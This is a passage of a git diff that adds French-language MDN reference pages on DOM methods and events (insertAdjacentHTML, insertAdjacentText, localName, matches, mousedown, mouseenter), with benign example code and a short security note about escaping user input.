+ <li><code style="color: blue;">'beforeend'</code> : Juste à l'intérieur de l'<code>element</code> , après son dernier enfant.</li>
+ <li><code style="color: magenta;">'afterend'</code> : Après <code>element</code> lui-même.</li>
+</ul>
+
+<dl>
+ <dt><code>text</code></dt>
+ <dd> est la chaîne de caractères qui doit être analysée en tant qu'HTML ou XML et insérée dans l'arbre du DOM.</dd>
+</dl>
+
+<h3 id="Visualisation_des_noms_de_position">Visualisation des noms de position</h3>
+
+<div class="wp_syntax">
+<div class="code">
+<pre>&lt;!-- <strong><code style="color: red;">beforebegin</code></strong> --&gt;
+<code style="font-weight: bold;">&lt;p&gt;</code>
+  &lt;!-- <strong><code style="color: green;">afterbegin</code></strong> --&gt;
+  foo
+  &lt;!-- <strong><code style="color: blue;">beforeend</code></strong> --&gt;
+<code style="font-weight: bold;">&lt;/p&gt;</code>
+&lt;!-- <strong><code style="color: magenta;">afterend</code></strong> --&gt;</pre>
+</div>
+</div>
+
+<div class="note"><strong>Note :</strong> Les positions <code>beforebegin</code> et <code>afterend</code> ne fonctionnent que si le noeud est un arbre et a un élément parent.</div>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">// &lt;div id="one"&gt;one&lt;/div&gt;
+var d1 = document.getElementById('one');
+d1.insertAdjacentHTML('afterend', '&lt;div id="two"&gt;two&lt;/div&gt;');
+
+// Ici la nouvelle structure est :
+// &lt;div id="one"&gt;one&lt;/div&gt;&lt;div id="two"&gt;two&lt;/div&gt;</pre>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Notes</h2>
+
+<h3 id="Considérations_de_sécurité">Considérations de sécurité</h3>
+
+<p><span id="result_box" lang="fr"><span>Lorsque vous insérez du code HTML dans une page en utilisant insertAdjacentHTML, veillez à ne pas utiliser d'entrée utilisateur qui n'a pas été échappée.</span></span></p>
+
+<p><span id="result_box" lang="fr"><span>Il est recommandé de ne pas utiliser <code>insertAdjacentHTML</code> lors de l'insertion de texte brut;</span> <span>à la place, utilisez la propriété <code>node.textContent</code> ou la méthode <code>node.insertAdjacentText()</code>.</span> <span>Cela n'interprète pas le contenu transmis au format HTML, mais l'insère à la place sous forme de texte brut.</span></span></p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#widl-Element-insertAdjacentHTML-void-DOMString-position-DOMString-text', 'Element.insertAdjacentHTML()')}}</td>
+   <td>{{ Spec2('DOM Parsing') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">La table de compatibilité sur cette page est génératée à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request.</em></div>
+
+<p>{{Compat("api.Element.insertAdjacentHTML")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Element.insertAdjacentElement()")}}</li>
+ <li>{{domxref("Element.insertAdjacentText()")}}</li>
+ <li><a class="external external-icon" href="https://hacks.mozilla.org/2011/11/insertadjacenthtml-enables-faster-html-snippet-injection/">hacks.mozilla.org guest post</a><span class="external external-icon"> par Henri Sivonen </span> <span id="result_box" lang="fr"><span>y compris le benchmark montrant que insertAdjacentHTML peut être beaucoup plus rapide dans certains cas.</span></span></li>
+</ul>
diff --git a/files/fr/web/api/element/insertadjacenttext/index.html b/files/fr/web/api/element/insertadjacenttext/index.html
new file mode 100644
index 0000000000..5482756415
--- /dev/null
+++ b/files/fr/web/api/element/insertadjacenttext/index.html
@@ -0,0 +1,127 @@
+---
+title: Element.insertAdjacentText()
+slug: Web/API/Element/insertAdjacentText
+tags:
+  - API
+  - DOM
+  - Element
+  - Insertion
+  - Méthodes
+  - Texte
+translation_of: Web/API/Element/insertAdjacentText
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La méthode <code>insertAdjacentText()</code> insère un noeud texte donné à une position donnée par rapport à l'élément sur lequel elle est appelé.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre><em>element</em>.insertAdjacentText(<em>position</em>, <em>element</em>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>position</dt>
+ <dd>Une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) représentant la position par rapport à l'<code>element</code> ; elle doit être l'une des chaînes suivantes :
+ <ul>
+  <li><code style="color: red;">'beforebegin'</code> : avant l'<code>element</code> lui-même ;</li>
+  <li><code style="color: green;">'afterbegin'</code><code style="color: green;"> </code>: à l'intérieur de l'<code>element</code>, avant son premier enfant ;</li>
+  <li><code style="color: blue;">'beforeend'</code> : à l'intérieur de l'<code>element</code>, avant son dernier enfant ;</li>
+  <li><code style="color: magenta;">'afterend'</code> : après l'<code>element</code> lui-même.</li>
+ </ul>
+ </dd>
+ <dt>element</dt>
+ <dd>Une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) représentant le texte à insérer dans l'arbre.</dd>
+</dl>
+
+<h3 id="Valeur_renvoyée">Valeur renvoyée</h3>
+
+<p>Vide.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Exception</th>
+   <th scope="col">Explication</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>SyntaxError</code></td>
+   <td>La <code>position</code> indiquée n'est pas une valeur reconnue.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Visualisation_des_noms_de_position">Visualisation des noms de position</h3>
+
+<pre>&lt;!-- <strong><code style="color: red;">beforebegin</code></strong> --&gt;
+<code style="font-weight: bold;">&lt;p&gt;</code>
+&lt;!-- <strong><code style="color: green;">afterbegin</code></strong> --&gt;
+machin
+&lt;!-- <strong><code style="color: blue;">beforeend</code></strong> --&gt;
+<code style="font-weight: bold;">&lt;/p&gt;</code>
+&lt;!-- <strong><code style="color: magenta;">afterend</code></strong> --&gt;</pre>
+
+<div class="note"><strong>Note :</strong> Les positions <code>beforebegin</code> et <code>afterend</code> ne fonctionnent que si le noeud est dans l'arbre et possède un élément parent.</div>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">beforeBtn.addEventListener('click', function() {
+  para.insertAdjacentText('afterbegin',textInput.value);
+});
+
+afterBtn.addEventListener('click', function() {
+  para.insertAdjacentText('beforeend',textInput.value);
+});</pre>
+
+<p>Jetez un œil à notre démo <a href="https://mdn.github.io/dom-examples/insert-adjacent/insertAdjacentText.html">insertAdjacentText.html</a> sur GitHub (voir le <a href="https://github.com/mdn/dom-examples/blob/master/insert-adjacent/insertAdjacentText.html">code source</a> aussi). Ici, nous avons un simple paragraphe. Vous pouvez entrer du texte dans l'élément de formulaire, puis presser les boutons <em>Insert before</em> (<em>insère avant</em>) et <em>Insert after</em> (<em>insère après</em>) pour l'insérer avant ou après le texte de paragraphe existant en utilisant <code>insertAdjacentText()</code>. Notez que le nœud texte existant n'y est pas ajouté — d'autres nœuds de texte sont créés contenant le nouvel ajout.</p>
+
+<h2 id="Émulation">Émulation</h2>
+
+<p>Vous pouvez utiliser une émulation de la méthode <code>insertAdjacentText()</code> dans Internet Explorer 5.5 (et peut-être antérieur) et supérieur avec le code suivant :</p>
+
+<pre>if (!Element.prototype.insertAdjacentText)
+  Element.prototype.insertAdjacentText = function(type, txt){
+    this.insertAdjacentHTML(
+      type,
+      (txt+'') // convertir en chaîne de caractères
+        .replace(/&amp;/g, '&amp;amp;') // intégrer des symboles d'esperluette
+        .replace(/&lt;/g, '&amp;lt;') // intégrer les symboles "plus petit que"
+    )
+  }
+</pre>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-insertadjacenttext', 'insertAdjacentText()')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">La table de compatibilité sur cette page est génératée à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request.</em></div>
+
+<p>{{Compat("api.Element.insertAdjacentText")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Element.insertAdjacentElement()")}}</li>
+ <li>{{domxref("Element.insertAdjacentHTML()")}}</li>
+</ul>
diff --git a/files/fr/web/api/element/localname/index.html b/files/fr/web/api/element/localname/index.html
new file mode 100644
index 0000000000..da09a1887e
--- /dev/null
+++ b/files/fr/web/api/element/localname/index.html
@@ -0,0 +1,154 @@
+---
+title: Element.localName
+slug: Web/API/Element/localName
+tags:
+  - API
+  - DOM
+  - Element
+  - Nom
+  - Propriétés
+  - XML
+  - local
+translation_of: Web/API/Element/localName
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La propriété en lecture seule <code><strong>Element.localName</strong></code> renvoie la partie locale du nom qualifié d'un élément.</p>
+
+<div class="note">
+<p>Dans les versions précédentes de la spécification DOM, cet API était défini dans l'interface {{domxref("Node")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>name</var> = <var>element</var>.localName
+</pre>
+
+<h3 id="Valeur_renvoyée">Valeur renvoyée</h3>
+
+<p>Une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) représentant la partie locale du nom qualifié de l'élément.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>(Doit être servi avec un type de contenu XML, tel que <code>text/xml</code> ou <code>application/xhtml+xml</code>.)</p>
+
+<pre class="brush:xml">&lt;html xmlns="http://www.w3.org/1999/xhtml"
+      xmlns:svg="http://www.w3.org/2000/svg"&gt;
+&lt;head&gt;
+  &lt;script type="application/javascript"&gt;&lt;![CDATA[
+  function test() {
+    var text = document.getElementById('text');
+    var circle = document.getElementById('circle');
+
+    text.value = "&lt;svg:circle&gt; has:\n" +
+                 "localName = '" + circle.localName + "'\n" +
+                 "namespaceURI = '" + circle.namespaceURI + "'";
+  }
+  ]]&gt;&lt;/script&gt;
+&lt;/head&gt;
+&lt;body onload="test()"&gt;
+  &lt;svg:svg version="1.1"
+    width="100px" height="100px"
+    viewBox="0 0 100 100"&gt;
+    &lt;svg:circle cx="50" cy="50" r="30" style="fill:#aaa" id="circle"/&gt;
+  &lt;/svg:svg&gt;
+  &lt;textarea id="text" rows="4" cols="55"/&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Le nom local d'un noeud est la partie du nom qualifié du noeud qui arrive après le signe deux points. Les noms qualifiés sont typiquement utilisés dans XML comme partie de l'espace de noms des documents particuliers XML. Par exemple, dans le nom qualifié <code>ecomm:partners</code>, <code>partners</code> est le nom local et <code>ecomm</code> est le préfixe :</p>
+
+<pre class="brush:xml">&lt;ecomm:business id="soda_shop" type="brick_n_mortar" xmlns:ecomm="http://example.com/ecomm"&gt;
+  &lt;ecomm:partners&gt;
+    &lt;ecomm:partner id="1001"&gt;Tony's Syrup Warehouse
+    &lt;/ecomm:partner&gt;
+  &lt;/ecomm:partner&gt;
+&lt;/ecomm:business&gt;
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Dans {{Gecko("1.9.2")}} et antérieurs, la propriété renvoie la version majuscule du nom local pour les éléments HTML dans les DOM HTML (par opposition aux éléments XHTML dans les DOM XML). Dans les versions plus tardives, en conformité avec HTML5, la propriété renvoie dans la cas du stockage interne du DOM, en minuscule pour les éléments HTML dans les DOM HTML et les éléments XHTML dans les DOM XML. La propriété {{domxref("element.tagName","tagName")}} continue à renvoyer la casse majuscule pour les éléments HTML dans les DOM HTML.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-localname', 'Element.localName')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>46.0<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop("48.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("48.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Cet API était précédemment disponiblie sur l'API {{domxref("Node")}}.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Element.namespaceURI")}}</li>
+ <li>{{domxref("Element.prefix")}}</li>
+ <li>{{domxref("Attr.localName")}}</li>
+ <li>{{domxref("Node.localName")}}</li>
+</ul>
diff --git a/files/fr/web/api/element/matches/index.html b/files/fr/web/api/element/matches/index.html
new file mode 100644
index 0000000000..00ae129138
--- /dev/null
+++ b/files/fr/web/api/element/matches/index.html
@@ -0,0 +1,108 @@
+---
+title: Element.matches()
+slug: Web/API/Element/matches
+tags:
+  - API
+  - DOM
+  - Selector
+translation_of: Web/API/Element/matches
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><code>La méthode<strong> </strong></code><strong><code>element.matches()</code></strong> renvoie <code>true</code> lorsque l'élément peut être sélectionné par le sélecteur défini par la chaîne passée en paramêtre; sinon, elle renvoie <code>false</code>.</p>
+
+<div class="warning">
+<p>Certains navigateurs implémentent cette méthode sous le nom <code>matchesSelector()</code> non-standardisé et préfixé.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>var result</em> = <em>element</em>.matches(selectorString);
+</pre>
+
+<ul>
+ <li><code>result</code> contient la valeur retournée <code>true</code> ou <code>false</code>.</li>
+ <li><code>selectorString</code> est une chaîne définissant le sélecteur à tester sur l'élément.</li>
+</ul>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>ul</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>birds<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>li</span><span class="punctuation token">&gt;</span></span>perroquet amazone<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>li</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>li</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>endangered<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>aigle des Philippines<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>li</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>li</span><span class="punctuation token">&gt;</span></span>pélican<span class="tag token"><span class="tag token"><span class="punctuation token"> blanc&lt;/</span>li</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>ul</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text/javascript<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="language-javascript script token">
+  <span class="keyword token">var</span> birds <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementsByTagName</span><span class="punctuation token">(</span><span class="string token">'li'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token">&lt;</span> birds<span class="punctuation token">.</span>length<span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">if</span> <span class="punctuation token">(</span>birds<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">.</span><span class="function token">matches</span><span class="punctuation token">(</span><span class="string token">'.endangered'</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'Le - '</span> <span class="operator token">+</span> birds<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">.</span>textContent <span class="operator token">+</span> <span class="string token">'- est en voie de disparition !'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+  <span class="punctuation token">}</span>
+</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>Ce code affichera l'alerte "Le - aigle des Philippines - est en voie de disparition !" sur la console, puisque l'élèment possède l'attribut<code> class </code>de valeur <code>endangered</code>.</p>
+
+<h2 id="Exceptions">Exceptions</h2>
+
+<dl>
+ <dt><code>SYNTAX_ERR</code></dt>
+ <dd>Lorsque la chaîne passée en paramêtre défini sélecteur invalide.</dd>
+</dl>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Pour les navigateurs qui ne supportent pas <code>Element.matches()</code> ou <code>Element.matchesSelector()</code>, mais fournissent le support de<code> document.querySelectorAll()</code>, il existe un <em>polyfill</em> :</p>
+
+<pre>if (!Element.prototype.matches) {
+    Element.prototype.matches =
+        Element.prototype.matchesSelector ||
+        Element.prototype.mozMatchesSelector ||
+        Element.prototype.msMatchesSelector ||
+        Element.prototype.oMatchesSelector ||
+        Element.prototype.webkitMatchesSelector ||
+        function(s) {
+            var matches = (this.document || this.ownerDocument).querySelectorAll(s),
+                i = matches.length;
+            while (--i &gt;= 0 &amp;&amp; matches.item(i) !== this) {}
+            return i &gt; -1;
+        };
+}</pre>
+
+<p>Cependant, étant donné la possibilité de prendre en charge les anciens navigateurs, les éléments suivants devraient suffire pour la plupart (sinon tous) des cas pratiques (c'est-à-dire le support IE9 +).</p>
+
+<pre class="line-numbers  language-html"><code class="language-html">if (!Element.prototype.matches) {
+    Element.prototype.matches = Element.prototype.msMatchesSelector;
+}</code></pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-matches', 'Element.prototype.matches')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Element.matches")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Les_s%C3%A9lecteurs">La syntaxe des sélecteurs</a></li>
+ <li>autres méthodes qui utilisent les sélecteurs : {{domxref("element.querySelector()")}} et {{domxref("element.closest()")}}.</li>
+</ul>
diff --git a/files/fr/web/api/element/mousedown_event/index.html b/files/fr/web/api/element/mousedown_event/index.html
new file mode 100644
index 0000000000..8569c6878b
--- /dev/null
+++ b/files/fr/web/api/element/mousedown_event/index.html
@@ -0,0 +1,88 @@
+---
+title: 'Element : évènement mousedown'
+slug: Web/API/Element/mousedown_event
+tags:
+  - API
+  - DOM
+  - Interface
+  - Reference
+  - events
+  - mousedown
+translation_of: Web/API/Element/mousedown_event
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary">L'évènement <strong><code>mousedown</code></strong> est déclenché à partir d'un {{domxref("Element")}} lorsqu'on appuie sur le bouton d'un dispositif de pointage (une souris par exemple) pendant que le curseur est sur l'élément.</span></p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Cet évènement est différent de {{domxref("Element/click_event", "click")}}. <code>click</code> est déclenché après qu'un clic "entier" ait eu lieu (c'est-à-dire quand le bouton a été pressé puis relaché tandis que le pointeur était sur le même élément). <code>mousedown</code> est déclenché dès qu'on appuie sur le bouton.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Se propage/remonte dans le DOM</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Annulable</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("MouseEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Propriété pour la gestion d'évènement</th>
+   <td>{{domxref("GlobalEventHandlers.onmousedown", "onmousedown")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>{{page("/fr/docs/Web/API/Element/mousemove_event", "Exemples")}}</p>
+
+<h2 class="brush: css" id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+  </tr>
+ </thead>
+ <thead>
+  <tr>
+   <td>{{SpecName('UI Events', '#event-type-mousedown', 'mousedown')}}</td>
+   <td>{{Spec2('UI Events')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#event-type-mousedown', 'mousedown')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+  </tr>
+ </thead>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Element.mousedown_event")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Apprendre/JavaScript/Building_blocks/Evènements">Une introduction aux évènements</a></li>
+ <li>D'autres évènements connexes
+  <ul>
+   <li><a href="/fr/docs/Web/API/Element/mouseup_event"><code>mouseup</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mousemove_event"><code>mousemove</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/click_event"><code>click</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/dblclick_event"><code>dblclick</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseout_event"><code>mouseout</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseover_event"><code>mouseover</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseenter_event"><code>mouseenter</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseleave_event"><code>mouseleave</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/contextmenu_event"><code>contextmenu</code></a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/api/element/mouseenter_event/index.html b/files/fr/web/api/element/mouseenter_event/index.html
new file mode 100644
index 0000000000..02fcb024bd
--- /dev/null
+++ b/files/fr/web/api/element/mouseenter_event/index.html
@@ -0,0 +1,157 @@
+---
+title: 'Element : évènement mouseenter'
+slug: Web/API/Element/mouseenter_event
+tags:
+  - API
+  - DOM
+  - Element
+  - Interface
+  - Reference
+  - mouseenter
+translation_of: Web/API/Element/mouseenter_event
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary">L'évènement <strong><code>mouseenter</code></strong> est déclenché à partir d'un élément {{domxref("Element")}} lorsqu'un dispositif de pointage est déplacé et que son curseur entre sur l'élément.</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Se propage/remonte dans le DOM</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Annulable</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("MouseEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Propriété pour la gestion d'évènement</th>
+   <td>{{domxref("GlobalEventHandlers.onmouseenter", "onmouseenter")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Notes_dutilisation">Notes d'utilisation</h2>
+
+<p>Bien que {{domxref("Element/mouseover_event", "mouseover")}} soit similaire, <code>mouseenter</code> est différent et ne remonte pas dans le DOM et qu'il n'est pas envoyé aux descendants lorsque le pointeur passe d'un descendant à l'élément.</p>
+
+<div style="column-width: 455px; border: 1px solid; padding: 5px; margin-bottom: 10px;">
+<div style="text-align: center;"><img alt="mouseenter.png" class="default internal" src="/@api/deki/files/5908/=mouseenter.png"></div>
+<code>mouseenter</code> est envoyé à chaque élément de la hiérarchie lorsqu'on rentre sur eux. Voici comment 4 évènements sont envoyés aux éléments lorsque le pointeur atteint le texte.
+
+<div style="text-align: center;"><img alt="mouseover.png" class="default internal" src="/@api/deki/files/5909/=mouseover.png"></div>
+Un seul évènement <code>mouseover</code> est envoyé depuis l'élément le plus profond du DOM puis remonte le DOM jusqu'à être annulé ou à atteindre la racine.</div>
+
+<p>Avec des hiérarchies profondes, le nombre d'évènements <code>mouseenter</code> envoyé peut être important et entraîner des problèmes de performances. Dans ce cas, mieux vaut écouter les évènements <code>mouseover</code>.</p>
+
+<p>Avec la combinaison de <code>mouseenter</code> et <code>mouseleave</code> (déclenché quand le pointeur quitte la zone de l'élément), on a un effet fortement semblable à la pseudo-classe CSS {{cssxref(':hover')}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>La documentation <a href="/fr/docs/Web/API/Element/mouseover_event#Exemples"><code>mouseover</code></a> illustre la différence entre <code>mouseover</code> et <code>mouseenter</code>.</p>
+
+<p>Ici, on utilise <code>mouseenter</code> pour modifier la bordure d'un <code>div</code> lorsque la souris rentre sur cet espace. On ajoute alors un élément à la liste avec le nombre d'évènements <code>mouseenter</code> ouor <code>mouseleave</code> event.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id='mouseTarget'&gt;
+ &lt;ul id="unorderedList"&gt;
+  &lt;li&gt;No events yet!&lt;/li&gt;
+ &lt;/ul&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<p>On met en forme le <code>div</code> pour le rendre plus visible.</p>
+
+<pre class="brush: css">#mouseTarget {
+  box-sizing: border-box;
+  width:15rem;
+  border:1px solid #333;
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var enterEventCount = 0;
+var leaveEventCount = 0;
+const mouseTarget = document.getElementById('mouseTarget');
+const unorderedList = document.getElementById('unorderedList');
+
+mouseTarget.addEventListener('mouseenter', e =&gt; {
+  mouseTarget.style.border = '5px dotted orange';
+  enterEventCount++;
+  addListItem("C'est le " + enterEventCount + "ème mouseenter.");
+});
+
+mouseTarget.addEventListener('mouseleave', e =&gt; {
+  mouseTarget.style.border = '1px solid #333';
+  leaveEventCount++;
+  addListItem("C'est le " + leaveEventCount + "ème mouseleave.");
+});
+
+function addListItem(text) {
+  // On crée un nouveau noeud text avec le texte fourni
+  var newTextNode = document.createTextNode(text);
+
+  // On crée un élément li
+  var newListItem = document.createElement("li");
+
+  // On ajoute le noeud texte à l'élément li
+  newListItem.appendChild(newTextNode);
+
+  // On ajoute l'élément de liste à la liste
+  unorderedList.appendChild(newListItem);
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('UI Events', '#event-type-mouseenter', 'mouseenter')}}</td>
+   <td>{{Spec2('UI Events')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#event-type-mouseenter', 'mouseenter')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+  </tr>
+ </tbody>
+</table>
+
